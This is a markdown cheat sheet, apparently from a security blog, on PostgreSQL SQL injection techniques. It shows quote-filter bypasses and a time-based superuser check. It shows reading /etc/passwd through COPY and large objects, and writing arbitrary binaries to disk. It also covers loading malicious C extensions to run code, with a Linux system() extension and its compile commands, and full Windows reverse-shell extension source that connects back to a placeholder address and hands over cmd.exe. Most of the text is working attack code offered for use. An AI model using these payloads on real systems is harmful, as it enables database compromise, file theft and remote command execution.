postgresql-injection-techniques.md 6.4 KB


title: Postgresql SQL Injection Techniques date: 2021-01-13 categories: [cheatsheets]

tags: [security, databases, sql]

Postgresql SQL Injection Techniques

  • In postgresql, queries can mostly chained together with the ; character.
  • This even works in SQL injection

Bypassing Character Restrictions

  • To Bypass quotes, dollar-signs($) can be used as well:
SELECT 'Example String'
SELECT $$Example String$$;
SELECT $Tag$Example String$Tag$;

$\rightarrow$ A tag is optinal

  • The function CHR() can be used to convert a decimal number to an ASCII character
    • Can be really helpful for printing non-printable characters
    • Can be chained together by using ||
    • Character concatetation only works for simple queries
CHR(65) || CHR(65) || CHR(65) [...]
  • Decoding base64 strings to bypass non-printable characters:
SELECT convert_from(decode("<base64-string>", 'base64'), "utf-8");

Check Privileges

  • To verifiyt if the current user is DBA (Superadmin):
SELECT current_setting('is_superuser');

Time-Based SQL Injection

  • In Postgresql, it is possible to sleep a certain time using the pg_sleep() function.
  • Example querie:
SELECT case when (SELECT current_settings('is_superuser'))='on' then pg_sleep(10) end;

Writing to files

  • Only available when operating as the DBA user
  • To read/write files, the following syntax can be used:
COPY <table_name> from <file_name>
COPY <table_name> to <file_name>
  • For the COPY TO command, no table is needed.
  • It is possible to write arbitrary data to the file:
COPY (SELECT "Arbitrary-String") to "/tmp/myfile";

$\rightarrow$ This again, is also possible in the combinatino with the convert_from() function to write base64 encoded data to a file (.so, .dll, .exe, ...).

  • To read content from a file into a table:
CREATE TEMP TABLE input (content text);
COPY input FROM "/etc/passwd";
SELECT content FROM input;
DROP TABLE input;
  • This doesn't work with large binary files...
    • There is a workaround - Postgresql Large Objects
  • Large Objects are used by postgresql to store files like PDFs or Images

  • Common large-object commands:

select lo_import("/etc/passwd"); # returns a LO ID
\lo_list # returns all the IDS from created Large Objects

# directly specify the Blob ID:
select lo_import("/etc/passwd", 1337);
  • Steps to create own blobs:
    • 1) Create Blob from arbitrary file that is available
    • 2) Update its contents in the DB (Stored in the table pg_largeobject
    • 3) Export it to the filsystem again
    • 4) Deleting the LO again
    • Info: Files are split into 2kB chunks in the database

Step 1:

  • This can be done as already stated above:
SELECT lo_import('filepath', 1337);

Step 2:

  • To update the contents, use the following query:
update pg_largeobject set data=decode('77303074', 'hex') where LOID=1337 and pageno=0;
  • Increment the pageno for each 2kB chunk

Step 3:

  • Export the large object with the lo_export() command:
SELECT lo_export(1337, '/tmp/destination.so');

Step 4:

  • The Large Object can be deleted by: \lo_unlink 1337

Executing Arbitrary Code

Compiling the Extension

  • It is important to compile the extension with the same version
    • v12.0 libs for exploiting v12.0 server
  • Seperate compilation for Windows & Linux

Queries

  • An extesion can be loaded with the following query:
CREATE OR REPLACE FUCNTION test(text) RETURNS void AS 'Filename', 'test' LANGUAGE 'C' STRICT;
                           ----------         ----    ---------   -----
                           function name     return   library     function name
                           & function type   type     path
  • To execute the function, use the following call:

    SELECT test("parameter");
    
  • The extension needs an specific Postgres structure

    • Its not possible to load any .ddl or .so library
  • It is also possible to load the extesion from a remote location, e.g on Windows:

    \\192.168.X.X\extension.dll
    

Example Source-Code - Linux

#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}
  • This can be compiled by using the following command:
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

If the installed postgresql version doesn't match the server version:

  • Download the source-code of the same postgresql version that is running on the server
  • Configure it with: ./configure
  • Compile the sources with: make
  • & Install them with: sudo make install

Use the library sources as input for GCC:

gcc -I/path/to/postgresql/src/include -shared -fPIC -o pg_exec.so pg_exec.c

Example Source-Code - Windows

  • Simple Postgresql reverse shell:
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <WinSock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")


#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif


// Add a prototype marked PGDLLEXPORT
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);

WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;

Datum
connect_back(PG_FUNCTION_ARGS) {

#define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	WSAStartup(MAKEWORD(2, 2), &wsaData);
	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

	hax.sin_family = AF_INET;
	hax.sin_port = htons(port_as_integer);
	hax.sin_addr.s_addr = inet_addr("<ip-here>");

	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

	memset(&sui, 0, sizeof(sui));
	sui.cb = sizeof(sui);
	sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
	PG_RETURN_VOID();


}
  • This can be compiled with Visual Studio - the postgresql libraries must be included